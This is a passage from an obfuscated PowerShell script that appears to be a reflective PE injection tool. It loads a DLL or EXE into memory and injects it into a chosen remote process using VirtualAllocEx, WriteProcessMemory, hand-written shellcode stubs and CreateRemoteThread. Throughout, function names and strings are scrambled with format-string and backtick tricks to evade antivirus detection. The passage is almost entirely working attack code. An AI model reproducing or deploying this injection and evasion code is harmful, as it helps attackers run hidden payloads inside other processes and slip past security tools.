  2283.             if (${efF`E`C`TiVepEHaNd`LE} -eq   (&("{0}{1}"-f'G','cI')  ("VaR"+"I"+"able:T"+"2"+"NGF")  ).VAluE::"zE`Ro")
  2284.             {
  2285.                 Throw ((("{25}{30}{32}{6}{14}{33}{24}{21}{29}{2}{4}{1}{22}{28}{16}{3}{15}{17}{11}{31}{8}{0}{23}{26}{7}{27}{13}{12}{18}{9}{5}{10}{20}{34}{19}"-f'ASLR,','s. If','roc','g lo','es','dress of the PE',' all','be ','rt ','sted base ad',' is a','dMtt sup','e r','at th','ocat','ade',' bein','d doesn','eque','se','l',' in the remot',' th',' it cou','emory','Un','ld ','th','e PE','e p','able ','po','to','e m','ready in u')) -REPLaCE'dMt',[CHar]39)
  2286.             }
  2287.         }
  2288.         else
  2289.         {
  2290.             if (${nx`c`OmpatIBLe} -eq ${T`Rue})
  2291.             {
  2292.                 ${PE`hAND`Le} = ${win32Fu`Nc`TIOns}."v`Ir`TUal`AlloC"."I`NvOke"(${lOAd`A`D`dr}, [UIntPtr]${pEI`N`FO}."SiZ`E`oFi`mAGe", ${Wi`N3`2cONs`TA`Nts}."MeM_`c`OmMiT" -bor ${wIN32cO`N`stAn`TS}."meM`_rEs`E`RVe", ${Wi`N32C`OnST`ANTS}."pa`gE`_R`e`ADwRitE")
  2293.             }
  2294.             else
  2295.             {
  2296.                 ${P`eH`ANDlE} = ${wIN32`F`UNc`TI`oNS}."Vi`R`TUaLAl`loC"."I`Nv`OkE"(${LOad`A`ddR}, [UIntPtr]${pEI`N`FO}."SI`ZeO`FI`magE", ${wiN32Co`N`s`T`ANts}."mem_co`MM`iT" -bor ${wi`N`32`ConSTanTS}."MEm_r`eSe`RvE", ${W`In32con`StantS}."p`A`gE_ex`e`CuTe_REAdWrIte")
  2297.             }
  2298.             ${EF`F`ECtivePEh`AndLe} = ${PEha`N`DlE}
  2299.         }
  2300.  
  2301.         [IntPtr]${Pe`enDAdd`REss} = &("{2}{4}{6}{0}{1}{5}{3}"-f 'n','tAsUns','Add-','ed','Sign','ign','edI') (${pEH`A`NDlE}) ([Int64]${PEi`N`FO}."SI`ZEo`F`IMaGE")
  2302.         if (${P`E`HaNdLe} -eq  ( &("{2}{1}{0}"-f'E','RiaBl','va')  ('t2'+'ngF')  -Val)::"ZE`RO")
  2303.         {
  2304.             Throw (("{23}{28}{29}{17}{7}{35}{15}{25}{5}{16}{22}{11}{30}{14}{13}{33}{12}{19}{10}{26}{18}{4}{31}{21}{8}{3}{1}{27}{32}{20}{6}{9}{2}{0}{34}{24}" -f'g','re','wants mi','a diffe','ocess wi','ipt in ','s the P','r ','ave ','E ','he','PowerSh','w','new P','e ',' If PE is not ASLR compatible, try ','a ne','y fo','r','erS',' so the addres',' h','w ','VirtualAlloc failed to allocate ',' be free).','running the scr','ll p','nt memory layou','mem','or','ell process (th','ll','t,','o','ht','PE.'))
  2305.         }
  2306.          $MlhIT::("{1}{0}"-f'py','Co').Invoke(${PEb`y`TeS}, 0, ${P`E`HAn`dlE}, ${P`e`Info}."SiZ`e`o`FhE`ADeRS") | &("{1}{0}{2}"-f'ut-','O','Null')
  2307.  
  2308.  
  2309.  
  2310.         &("{0}{3}{1}{2}" -f 'Wr','-Verb','ose','ite') ("{5}{2}{0}{8}{1}{4}{13}{6}{12}{3}{11}{17}{16}{10}{15}{14}{7}{9}"-f 'n','ail','etti','ma','ed PE','G','i','m','g det','ory','a','tion fr','nfor',' ','me','ded in ','ders lo','om the hea')
  2311.         ${pe`INFO} = &("{0}{3}{1}{2}"-f 'G','Detailed','Info','et-PE') -PEHandle ${P`ehA`NDLE} -Win32Types ${W`IN`3`2tyPES} -Win32Constants ${Win`32C`o`NSTa`NTs}
  2312.         ${p`eINFO} | &("{1}{2}{3}{0}" -f 'ber','Add-','Me','m') -MemberType ("{2}{0}{1}{3}" -f'o','teProper','N','ty') -Name ("{0}{2}{1}" -f 'En','s','dAddres') -Value ${PE`endA`dD`ReSS}
  2313.         ${Pe`INFo} | &("{2}{1}{0}"-f 'ember','d-M','Ad') -MemberType ("{1}{0}{3}{2}"-f 'Pro','Note','rty','pe') -Name ("{2}{3}{4}{1}{0}" -f'dle','an','E','ffecti','vePEH') -Value ${e`FfECtiv`e`pehA`N`dLE}
  2314.         &("{0}{1}{2}"-f 'Write-Verbo','s','e') "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress) "
  2315.  
  2316.  
  2317.  
  2318.         &("{0}{2}{3}{1}{4}"-f'Wri','erbo','te-','V','se') ("{7}{6}{0}{5}{2}{3}{4}{8}{1}" -f'py','ry','cti','ons in to ','mem',' PE se','o','C','o')
  2319.         &("{1}{0}{2}" -f'e','Copy-S','ctions') -PEBytes ${p`eB`ytes} -PEInfo ${P`Einfo} -Win32Functions ${WIn3`2F`U`NctIONs} -Win32Types ${W`iN`32tY`PES}
  2320.  
  2321.  
  2322.  
  2323.         &("{3}{1}{2}{0}"-f'se','e-','Verbo','Writ') ("{18}{6}{14}{15}{13}{4}{8}{2}{20}{3}{5}{0}{1}{17}{7}{10}{19}{9}{11}{16}{12}" -f ' P','E wa','n wher',' th',' based','e','memor',' actua',' o','y load','l','ed i','mory','ses','y addr','es','n me','s','Update ','l','e')
  2324.         &("{4}{3}{0}{2}{1}" -f'oryA','esses','ddr','ate-Mem','Upd') -PEInfo ${PeI`N`FO} -OriginalImageBase ${o`RI`GIn`AliMagE`BAse} -Win32Constants ${wi`N`32CON`StAn`Ts} -Win32Types ${wi`N`32`TYPes}
  2325.  
  2326.  
  2327.  
  2328.         &("{2}{1}{0}"-f'ose','b','Write-Ver') ((("{7}{1}{5}{6}{4}{0}{8}{2}{3}" -f'PE ','po','re loadi','ng','ifs needed by the ','rt DLL','2','Im','we a'))  -rePLACe([CHAR]50+[CHAR]105+[CHAR]102),[CHAR]39)
  2329.         if (${ReMo`TElO`ADING} -eq ${Tr`Ue})
  2330.         {
  2331.             &("{3}{1}{0}{2}" -f 'lImpor','rt-Dl','ts','Impo') -PEInfo ${p`E`iNFO} -Win32Functions ${W`I`N`32fuNCTIONS} -Win32Types ${WI`N32`TY`pes} -Win32Constants ${w`in32Con`STA`NTS} -RemoteProcHandle ${r`Emo`TePro`CHAnDle}
  2332.         }
  2333.         else
  2334.         {
  2335.             &("{5}{4}{0}{1}{2}{3}" -f 'Dll','Imp','o','rts','mport-','I') -PEInfo ${pEI`NFO} -Win32Functions ${wiN3`2`FuNcTIo`NS} -Win32Types ${W`i`N32typ`es} -Win32Constants ${Wi`N32C`onstA`NTs}
  2336.         }
  2337.  
  2338.  
  2339.  
  2340.         if (${REm`o`Tel`O`ADING} -eq ${f`AlSe})
  2341.         {
  2342.             if (${NXCOmp`A`TIBLe} -eq ${t`Rue})
  2343.             {
  2344.                 &("{0}{1}{2}{3}" -f 'W','rit','e-Verb','ose') ("{2}{4}{8}{1}{0}{3}{5}{6}{7}" -f' protect','ory','Update m','ion','e',' ','fla','gs','m')
  2345.                 &("{1}{4}{3}{0}{2}{6}{5}"-f 'ect','Upda','ion','-MemoryProt','te','ags','Fl') -PEInfo ${pe`IN`Fo} -Win32Functions ${Wi`N3`2Func`T`iONS} -Win32Constants ${W`i`N32CON`STa`Nts} -Win32Types ${wI`N32tYp`Es}
  2346.             }
  2347.             else
  2348.             {
  2349.                 &("{4}{1}{2}{0}{3}" -f'bos','rit','e-Ver','e','W') ("{3}{19}{8}{12}{16}{5}{7}{6}{0}{10}{13}{15}{18}{21}{20}{4}{11}{1}{17}{22}{2}{9}{14}"-f'o','e','ri','P',' memo','g','ely l',' reflectiv','b','te ','ade','ry, ke','ei','d i','execute','s not','n','ping memor',' compati','E ',' with NX','ble','y as read w')
  2350.             }
  2351.         }
  2352.         else
  2353.         {
  2354.             &("{1}{4}{2}{0}{3}" -f'e','W','te-V','rbose','ri') ("{13}{1}{12}{2}{11}{8}{4}{3}{7}{10}{5}{0}{6}{9}" -f 'y perm','oaded in','mote process','djust',' a','g memor','issi','i',' not','ons','n',',',' to a re','PE being l')
  2355.         }
  2356.  
  2357.  
  2358.  
  2359.         if (${REMo`TeloaD`ing} -eq ${tR`Ue})
  2360.         {
  2361.             [UInt32]${n`U`Mb`YTeSWRit`TEN} = 0
  2362.             ${S`UCCess} = ${WiN`32F`UNc`TiONS}."Wri`TeP`ROCeSs`memOrY"."inV`OkE"(${R`e`mOT`EProCha`NDlE}, ${E`FF`ECtIvEpEH`A`NDlE}, ${p`EHa`NDLE}, [UIntPtr](${PE`in`Fo}."sI`ze`oFiMAGe"), [Ref]${NUM`BYteSwr`It`TEn})
  2363.             if (${Su`cCe`SS} -eq ${Fal`Se})
  2364.             {
  2365.                 Throw ("{2}{1}{8}{6}{5}{10}{7}{0}{3}{9}{4}" -f 'pr','nable to','U','ocess mem','.','shellc','ite ','emote ',' wr','ory','ode to r')
  2366.             }
  2367.         }
  2368.  
  2369.  
  2370.  
  2371.         if (${PEi`N`Fo}."fILE`T`yPE" -ieq "DLL")
  2372.         {
  2373.             if (${rEM`OteloAd`i`NG} -eq ${fa`l`Se})
  2374.             {
  2375.                 &("{2}{3}{0}{1}"-f 'r','bose','Write-V','e') ("{13}{4}{7}{8}{1}{2}{11}{9}{3}{6}{10}{12}{5}{0}" -f 'oaded','dllm','ain s','DL','llin',' been l','L','g',' ','he ',' knows ','o t','it has','Ca')
  2376.                 ${d`LLM`AI`Nptr} = &("{5}{3}{2}{0}{1}{4}{6}"-f 'ne','d','g','dd-Si','I','A','ntAsUnsigned') (${PeI`NfO}."PEha`Nd`LE") (${Pe`iN`FO}."Im`A`ge`_`Nt_hEADERs"."oPTi`onAlh`E`ADer"."ADdRE`s`soFEnTRY`pO`INT")
  2377.                 ${dll`M`A`IN`dEL`egaTe} = &("{1}{3}{2}{4}{0}"-f'pe','Get-Deleg','teT','a','y') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2378.                 ${Dl`LM`AiN} =   $MLhIt::("{2}{0}{1}{3}{4}" -f 'ateForFun','ct','GetDeleg','ionPoin','ter').Invoke(${dLl`mA`iNp`TR}, ${DLLMaI`N`dE`legatE})
  2379.  
  2380.                 ${D`llMaiN}."iNv`oKE"(${p`EInfo}."pEh`And`Le", 1,  (  &('gI') ('VARIa'+'B'+'le:t2nGF')  ).vALue::"zE`Ro") | &("{1}{0}{2}" -f '-Nul','Out','l')
  2381.             }
  2382.             else
  2383.             {
  2384.                 ${DlLma`iNp`TR} = &("{3}{0}{1}{2}{4}{5}{6}"-f 'S','ig','nedInt','Add-','AsU','nsig','ned') (${eF`FEctIv`E`Peha`NDLE}) (${p`eI`Nfo}."iMAG`E_n`T_h`EaderS"."o`pT`iONaLhEaD`ER"."ADD`REssOFEntR`Yp`oint")
  2385.  
  2386.                 if (${Pe`i`NFo}."pE6`4b`IT" -eq ${tr`UE})
  2387.                 {
  2388.  
  2389.                     ${C`AL`l`D`llmAInsc1} = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2390.                     ${CalLD`LL`MaiN`s`C2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2391.                     ${Call`dL`lMai`NSC3} = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2392.                 }
  2393.                 else
  2394.                 {
  2395.  
  2396.                     ${cAlLD`LLMa`I`Nsc1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2397.                     ${Ca`LLdL`l`MAINSc2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2398.                     ${cALldLL`MAi`Nsc3} = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2399.                 }
  2400.                 ${s`cLenGTH} = ${cA`lLd`L`lMAIn`Sc1}."leN`GtH" + ${C`ALl`dLlm`AinSc2}."l`EnGTh" + ${CAll`DllmaIN`S`C3}."Le`Ng`Th" + (${pt`RsizE} * 2)
  2401.                 ${SC`PSM`eM} =   $mLHIt::("{2}{0}{1}{3}"-f'cH','G','Allo','lobal').Invoke(${Sc`LeNGth})
  2402.                 ${s`cp`sMemOr`iG`inAL} = ${Sc`PSmEm}
  2403.  
  2404.                 &("{1}{0}{2}{4}{5}{3}"-f'e','Writ','-By','Memory','t','esTo') -Bytes ${cAlLd`L`lma`inSC1} -MemoryAddress ${s`CpsM`Em}
  2405.                 ${s`c`PSmEM} = &("{1}{2}{0}{3}{5}{4}"-f'gnedI','Add','-Si','nt','sUnsigned','A') ${SC`pS`Mem} (${CalLdL`l`ma`i`NSC1}."leng`TH")
  2406.                  (  &("{1}{0}" -f 'cI','G')  ('Var'+'iabl'+'E:mlHi'+'t') ).ValuE::("{4}{3}{0}{1}{2}"-f 'reTo','Pt','r','ctu','Stru').Invoke(${EFfE`c`TI`V`ePe`haNDle}, ${sCp`SmeM}, ${fAL`sE})
  2407.                 ${sCPS`MeM} = &("{2}{3}{0}{4}{1}"-f 'Sig','nsigned','Add','-','nedIntAsU') ${s`C`PsmEM} (${p`T`RSiZE})
  2408.                 &("{1}{2}{0}{3}" -f 'Byte','W','rite-','sToMemory') -Bytes ${cALL`dlLMA`iN`SC2} -MemoryAddress ${s`c`PsMem}
  2409.                 ${S`c`PSmEM} = &("{3}{2}{4}{1}{6}{5}{0}"-f'gned','d','d-Sign','Ad','e','i','IntAsUns') ${ScPs`mem} (${CaLldL`LMAi`N`Sc2}."leN`gth")
  2410.                   $mLHIT::("{3}{2}{1}{0}" -f 'tr','oP','T','Structure').Invoke(${dllm`Ai`NpTr}, ${SCP`S`Mem}, ${f`A`LSe})
  2411.                 ${ScP`S`MEm} = &("{3}{6}{5}{2}{4}{1}{0}"-f'signed','Un','ntA','A','s','nedI','dd-Sig') ${SCpS`m`eM} (${pt`RSI`zE})
  2412.                 &("{2}{1}{3}{0}" -f'ry','-Byt','Write','esToMemo') -Bytes ${cA`LLd`llMAIns`c3} -MemoryAddress ${S`CP`SmEM}
  2413.                 ${s`cPSm`Em} = &("{5}{4}{1}{0}{3}{2}" -f 'dInt','e','nsigned','AsU','-Sign','Add') ${Sc`PsMeM} (${cAllD`ll`Main`SC3}."lE`NgtH")
  2414.  
  2415.                 ${Rs`CA`Ddr} = ${W`iN32FUnCti`oNS}."ViRTU`Al`AlL`O`ceX"."i`NV`oKe"(${r`e`motEpR`och`ANdLE},  (  &("{0}{1}{2}" -f'vA','RiAb','LE') t2NgF).VAlue::"ze`Ro", [UIntPtr][UInt64]${S`C`LengtH}, ${wIN`32C`onST`An`TS}."Me`M_coMM`iT" -bor ${WiN32coNst`A`N`Ts}."mem_RE`s`E`Rve", ${wIn`32CONs`TA`NTS}."pagE_EXEC`Ute_`REa`d`wR`itE")
  2416.                 if (${r`SCaDdr} -eq   $T2NGf::"Z`eRo")
  2417.                 {
  2418.                     Throw ("{9}{0}{2}{11}{7}{3}{4}{8}{5}{6}{10}{1}" -f'na','lcode','ble to allocate',' ','th','emote pro','cess for','n','e r','U',' shel',' memory i')
  2419.                 }
  2420.  
  2421.                 ${SuCC`E`SS} = ${wIN32`Func`TionS}."WRITe`pROcEs`s`mEmo`Ry"."IN`VoKE"(${re`m`otePRocHAn`Dle}, ${R`sCAd`Dr}, ${SCps`mEm`ORI`g`INal}, [UIntPtr][UInt64]${sClE`N`g`Th}, [Ref]${NumBY`TeswRI`Tten})
  2422.                 if ((${s`UccESs} -eq ${f`AlsE}) -or ([UInt64]${nu`MByt`ES`WRitTeN} -ne [UInt64]${S`ClEnG`TH}))
  2423.                 {
  2424.                     Throw ("{1}{2}{4}{3}{8}{9}{6}{5}{7}{0}"-f'y.','Unable t','o write s','emote ','hellcode to r',' memo','ess','r','p','roc')
  2425.                 }
  2426.  
  2427.                 ${R`ThrEAdH`Andle} = &("{3}{1}{2}{0}{4}" -f'teThr','eate-R','emo','Cr','ead') -ProcessHandle ${rE`M`OT`Ep`ROChAnDLe} -StartAddress ${R`SCad`dR} -Win32Functions ${W`IN`32F`Unc`TIONS}
  2428.                 ${r`E`SUlt} = ${WIN3`2fU`N`C`TIONs}."wAi`Tf`ORS`i`NgLE`ObjeCt"."IN`Vo`Ke"(${rTHReAdH`AN`d`LE}, 20000)
  2429.                 if (${resU`lt} -ne 0)
  2430.                 {
  2431.                     Throw ("{3}{1}{5}{8}{4}{9}{11}{0}{6}{10}{7}{2}" -f'ad to ','all to Crea','s failed.','C','h','teR','call GetPro','Addres','emoteT','r','c','e')
  2432.                 }
  2433.  
  2434.                 ${W`In`32fuNCTIO`Ns}."VIR`TUAlfr`EEEX"."IN`VO`kE"(${remoTeP`Ro`CH`AnDlE}, ${RsC`Ad`Dr}, [UIntPtr][UInt64]0, ${Win32`c`ONsT`A`NtS}."mEm_Rel`E`A`Se") | &("{0}{1}{2}" -f'Out','-','Null')
  2435.             }
  2436.         }
  2437.         elseif (${peIn`Fo}."Fi`lEtYPe" -ieq "EXE")
  2438.         {
  2439.  
  2440.             [IntPtr]${eXE`dOn`EBytE`pTr} =  (  &("{1}{2}{0}"-f'iabLE','va','R') mlHit -vAlUEonLY  )::("{2}{3}{1}{0}" -f'Global','H','Al','loc').Invoke(1)
  2441.              $mlHit::("{2}{0}{1}" -f 't','e','WriteBy').Invoke(${ExE`doneb`y`Tep`Tr}, 0, 0x00)
  2442.             ${oVE`RWritTeN`m`E`M`InfO} = &("{3}{1}{2}{4}{5}{0}"-f's','e','-ExeF','Updat','un','ction') -PEInfo ${PEI`N`Fo} -Win32Functions ${wIN`32FUN`CT`iOns} -Win32Constants ${WiN`32C`ONSTA`Nts} -ExeArguments ${EXE`A`RGS} -ExeDoneBytePtr ${EXed`o`NebYT`epTr}
  2443.  
  2444.  
  2445.  
  2446.             [IntPtr]${exe`M`A`InPTR} = &("{2}{3}{4}{0}{1}"-f 'AsUnsigne','d','Add','-S','ignedInt') (${P`EinFO}."p`EhAND`lE") (${pE`i`NFO}."IMage_NT_hE`A`d`Ers"."oP`Ti`ONAl`heaD`er"."A`ddres`SOfEnT`RYP`oiNT")
  2447.             &("{1}{2}{0}" -f 'ose','Write-','Verb') "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in. "
  2448.  
  2449.             ${Wi`N32F`Un`CtIons}."cR`eAtetH`REaD"."InVO`KE"(  ( &("{0}{2}{1}" -f'g','rIable','ET-VA') ('t2N'+'Gf') ).VaLuE::"Z`ERo",   (  &("{2}{1}{3}{0}"-f 'M','cHiLd','GET-','ItE')  ("vARI"+"abLE:T2n"+"GF")  ).vALue::"z`erO", ${exEM`A`INpTR},  ( &("{2}{1}{0}{3}"-f'tE','dI','ChIL','m') ("vaRIablE:t2n"+"g"+"F")  ).VALue::"Z`Ero", ([UInt32]0), [Ref]([UInt32]0)) | &("{2}{0}{1}"-f'-Nu','ll','Out')
  2450.  
  2451.             while(${T`RUe})
  2452.             {
  2453.                 [Byte]${T`h`REaDd`oNe} =  $MlhIt::("{1}{0}" -f'yte','ReadB').Invoke(${Ex`eDOn`e`BYTep`Tr}, 0)
  2454.                 if (${THread`D`ONE} -eq 1)
  2455.                 {
  2456.                     &("{4}{0}{1}{2}{3}" -f 'o','py-ArrayOfMem','Addr','esses','C') -CopyInfo ${OVe`RwR`ItTEnM`EmiNFO} -Win32Functions ${wIn32`FU`Nct`I`oNS} -Win32Constants ${wIn32`c`ONs`TAnTS}
  2457.                     &("{1}{2}{0}"-f'se','Wr','ite-Verbo') ("{0}{3}{2}{1}{4}{6}{5}"-f'EXE t','o','ead has c','hr','mplet','.','ed')
  2458.                     break
  2459.                 }
  2460.                 else
  2461.                 {
  2462.                     &("{2}{3}{0}{1}" -f 'Slee','p','Star','t-') -Seconds 1
  2463.                 }
  2464.             }
  2465.         }
  2466.  
  2467.         return @(${Pe`i`NFo}."PE`Ha`NdLE", ${Ef`FEC`T`Iv`epeh`AndlE})
  2468.     }
  2469.  
  2470.  
  2471.     Function i`NvOk`E`-MemORYfREe`liBr`ArY
  2472.     {
  2473.         Param(
  2474.         [Parameter(PoSiTIOn=0, mANdAtorY=${tR`Ue})]
  2475.         [IntPtr]
  2476.         ${pEh`AN`DLe}
  2477.         )
  2478.  
  2479.  
  2480.         ${wIn32COnSt`A`N`Ts} = &("{0}{1}{2}{3}{4}"-f'G','et-Wi','n3','2Const','ants')
  2481.         ${Wi`N32Fu`N`CtIONS} = &("{3}{1}{5}{4}{0}{2}"-f 'n','F','s','Get-Win32','tio','unc')
  2482.         ${w`iN3`2`TypeS} = &("{1}{0}{2}{3}" -f 't','Ge','-Wi','n32Types')
  2483.  
  2484.         ${P`EiNFO} = &("{0}{4}{2}{3}{1}" -f'Get','edInfo','a','il','-PEDet') -PEHandle ${P`EHAnDLE} -Win32Types ${W`iN3`2`TYpEs} -Win32Constants ${w`IN`3`2coNSt`ANtS}
  2485.  
  2486.  
  2487.         if (${pE`I`NFO}."iM`A`g`E`_NT_heaDERs"."OP`TI`OnaLH`eaDEr"."i`MpOrtt`AB`le"."Si`zE" -gt 0)
  2488.         {
  2489.             [IntPtr]${iMP`O`RT`de`SCRIpTorP`TR} = &("{1}{4}{5}{3}{0}{2}"-f 'sign','Add-Sig','ed','AsUn','nedI','nt') ([Int64]${pE`I`NFo}."pEH`AND`Le") ([Int64]${p`e`iNFO}."iMaGe_`NT`_`h`eadERs"."op`T`IOnaL`hEADer"."im`portT`A`BlE"."V`i`RtUal`AdDRess")
  2490.  
  2491.             while (${tR`Ue})
  2492.             {
  2493.                 ${IMpoRtDe`sCr`I`p`TOr} =   (  &("{1}{2}{3}{0}" -f'Ditem','G','ET-Ch','il')  ('varIa'+'bLe:'+'MLHit')).ValuE::"p`T`RtostrucT`U`Re"(${i`mpORt`d`ES`crIPtO`RPTR}, [Type]${WiN32t`Y`Pes}."ImA`g`E_IMpo`Rt_dE`scRiPTor")
  2494.  
  2495.  
  2496.                 if (${i`m`PoRtdES`CrI`PT`OR}."ChArACt`e`R`i`sTics" -eq 0 `
  2497.                         -and ${IMPortd`eSCRI`pt`or}."fiRstth`U`Nk" -eq 0 `
  2498.                         -and ${ImpOrtDE`sc`RIpT`Or}."f`OR`WarDER`cHain" -eq 0 `
  2499.                         -and ${impOrtD`e`sCrip`T`Or}."NA`Me" -eq 0 `
  2500.                         -and ${iM`pOr`TdESCrIP`TOr}."TimEdate`s`TaMp" -eq 0)
  2501.                 {
  2502.                     &("{1}{0}{2}"-f 'ri','W','te-Verbose') ("{8}{9}{0}{7}{3}{2}{5}{1}{4}{6}"-f 'e u','s nee','libr','e ','ded by ','arie','the PE','nloading th','Do','n')
  2503.                     break
  2504.                 }
  2505.  
  2506.                 ${ImPOrtdl`lp`A`Th} =   ( &("{2}{1}{0}" -f 't-itEm','E','G')  VARiaBLe:mlhIT  ).vaLuE::"PTRtoS`T`RI`NG`ANSi"((&("{1}{4}{3}{0}{5}{2}" -f 'gne','Add','signed','i','-S','dIntAsUn') ([Int64]${pein`Fo}."P`e`hANDLE") ([Int64]${imPo`R`TDE`Scr`IPtOr}."nA`Me")))
  2507.                 ${i`m`p`o`RtDLlhaNdle} = ${wIN`32`FUn`cTiO`Ns}."GetMoDULe`ha`ND`LE"."INvO`KE"(${IMp`ORTD`L`LpaTh})
  2508.  
  2509.                 if (${imPO`RtD`lLH`A`NDLe} -eq ${NU`LL})
  2510.                 {
  2511.                     &("{0}{4}{2}{1}{3}"-f'Wr','ni','-War','ng','ite') ('Error'+' '+'getti'+'n'+'g '+'D'+'LL '+'hand'+'le '+'in'+' '+'M'+'emo'+'ryF'+'reeLib'+'rary, '+'DL'+'LName:'+' '+"$ImportDllPath. "+'Con'+'ti'+'nuing '+'anywa'+'y'+'s') -WarningAction ("{2}{0}{1}" -f 'tinu','e','Con')
  2512.                 }
  2513.  
  2514.                 ${S`UC`cEsS} = ${W`iN3`2`F`UNctIOnS}."Fr`EELibR`ARY"."i`NV`OkE"(${IMpOrt`dL`L`hanDle})
  2515.                 if (${sU`cceSs} -eq ${FA`Lse})
  2516.                 {
  2517.                     &("{1}{2}{0}" -f'g','Write-Warni','n') ('U'+'nabl'+'e '+'to'+' '+'fr'+'ee '+'libra'+'ry: '+"$ImportDllPath. "+'C'+'ontinui'+'ng '+'any'+'ways.') -WarningAction ("{2}{1}{0}"-f'inue','nt','Co')
  2518.                 }
  2519.  
  2520.                 ${IMpOrT`DE`sCRI`PTO`RpTr} = &("{1}{5}{4}{2}{3}{0}{6}" -f 'gn','A','AsUns','i','edInt','dd-Sign','ed') (${i`M`PORt`De`sCrIPt`orPTr}) (  ( &("{2}{0}{1}"-f'HI','LDITem','C')  ("var"+"Iable"+":m"+"lhiT")).vAlUe::"s`izEOF"([Type]${Wi`N32`TyP`es}."imAge_iMpOrT`_d`ESCR`iP`T`Or"))
  2521.             }
  2522.         }
  2523.  
  2524.  
  2525.         &("{2}{1}{3}{0}"-f 'e','t','Wri','e-Verbos') ("{6}{3}{7}{8}{5}{4}{0}{1}{2}" -f'g u','nl','oaded','ling','ows it is bein','o the DLL kn','Cal',' dllm','ain s')
  2526.         ${DLl`MA`inPtR} = &("{4}{1}{2}{3}{0}"-f 'd','gnedI','ntAsUnsign','e','Add-Si') (${Pei`NfO}."pE`ha`NDle") (${PEI`NfO}."IMAge_n`T`_h`E`AdErs"."Optio`NAl`hE`A`deR"."adDr`eSSO`FENtRyPoI`Nt")
  2527.         ${Dll`M`Aind`ElEgAtE} = &("{0}{2}{1}" -f'G','egateType','et-Del') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2528.         ${Dl`lM`Ain} =   $MlHit::("{0}{6}{1}{2}{7}{5}{3}{8}{4}"-f 'GetD','orFu','nct','o','nter','onP','elegateF','i','i').Invoke(${DLlM`Ai`NPTR}, ${dllmAi`N`dE`Leg`Ate})
  2529.  
  2530.         ${Dl`l`MaIn}."IN`VO`kE"(${pEIn`Fo}."PEH`ANd`Le", 0,  $T2Ngf::"Z`ErO") | &("{1}{0}{2}" -f'u','Out-N','ll')
  2531.  
  2532.  
  2533.         ${s`UC`Cess} = ${Win3`2F`UNctI`O`Ns}."virT`U`ALFr`ee"."I`Nv`oKE"(${p`EhAnD`lE}, [UInt64]0, ${Wi`N3`2cons`TANTS}."MeM_`R`eL`eAse")
  2534.         if (${Succ`e`SS} -eq ${fa`lSE})
  2535.         {
  2536.             &("{0}{1}{2}"-f 'W','rite','-Warning') ((("{5}{15}{14}{17}{16}{3}{11}{19}{4}{13}{10}{7}{8}{9}{12}{0}{6}{1}{18}{2}"-f'Co','ing any','s.','rtualF',' ','Un','ntinu',' ','PETb6s me','mo','he','re','ry. ','on t','t','able ',' call Vi','o','way','e'))."rEP`lAcE"(([CHAR]84+[CHAR]98+[CHAR]54),[sTRINg][CHAR]39)) -WarningAction ("{1}{0}"-f 'ontinue','C')
  2537.         }
  2538.     }
  2539.  
  2540.  
  2541.     Function Ma`IN
  2542.     {
  2543.         ${wi`N32funCT`io`NS} = &("{1}{3}{0}{2}" -f'nct','Get-Win3','ions','2Fu')
  2544.         ${WI`N32`T`ypeS} = &("{0}{1}{2}" -f'Get-Win32T','y','pes')
  2545.         ${wI`N32`cOnSTa`Nts} =  &("{1}{4}{2}{3}{0}"-f'stants','Ge','-Win','32Con','t')
  2546.  
  2547.         ${RemOt`e`P`RoCHAN`d`le} =  $t2NGf::"Ze`Ro"
  2548.  
  2549.  
  2550.         if ((${PR`oCid} -ne ${nu`ll}) -and (${P`R`oCID} -ne 0) -and (${prOCNa`ME} -ne ${n`ULL}) -and (${P`RoC`NAMe} -ne ""))
  2551.         {
  2552.             Throw ((("{6}{11}{14}{5}{0}{4}{13}{15}{1}{2}{12}{3}{10}{8}{9}{7}"-f'oc',' ','P','cName, c','I','upply a Pr','Can','ne or the other','oo','se o','h','1CJt ','ro','d a','s','nd'))  -CrEPlaCe '1CJ',[chAR]39)
  2553.         }
  2554.         elseif (${Pro`cNAME} -ne ${nu`LL} -and ${p`ROc`NAme} -ne "")
  2555.         {
  2556.             ${p`RO`CESSES} = @(&("{0}{1}{3}{2}"-f 'Ge','t-P','s','roces') -Name ${pr`ocNaMe} -ErrorAction ("{0}{1}{3}{2}{4}"-f 'Silen','t','Cont','ly','inue'))
  2557.             if (${PrOCe`ss`ES}."CO`UnT" -eq 0)
  2558.             {
  2559.                 Throw (('Ca'+'n'+'Vwgt'+' ')."REpl`Ace"(([char]86+[char]119+[char]103),[stRinG][char]39)+'find'+' '+'pro'+'cess '+"$ProcName")
  2560.             }
  2561.             elseif (${pRoce`S`seS}."c`OUnT" -gt 1)
  2562.             {
  2563.                 ${prOC`I`NfO} = &("{3}{1}{0}{2}" -f'oce','t-Pr','ss','Ge') | &("{0}{1}" -f 'w','here') { ${_}."Na`me" -eq ${Pr`O`Cname} } | &("{3}{1}{2}{0}" -f 't','ect-Obj','ec','Sel') ("{2}{1}{0}"-f 'ame','ocessN','Pr'), ('Id'), ("{1}{0}"-f 'ionId','Sess')
  2564.                 &("{0}{1}{2}"-f 'Wri','te-Outpu','t') ${PROCI`N`Fo}
  2565.                 Throw ('Mor'+'e '+'than'+' '+'one'+' '+'instan'+'ce '+'of'+' '+"$ProcName "+'fo'+'und, '+'plea'+'se '+'s'+'pecify '+'th'+'e '+'pr'+'oces'+'s '+'I'+'D '+'to'+' '+'in'+'je'+'ct '+'i'+'n '+'t'+'o.')
  2566.             }
  2567.             else
  2568.             {
  2569.                 ${p`Ro`cID} = ${p`Roc`ESsEs}[0]."Id"
  2570.             }
  2571.         }
  2572.  
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
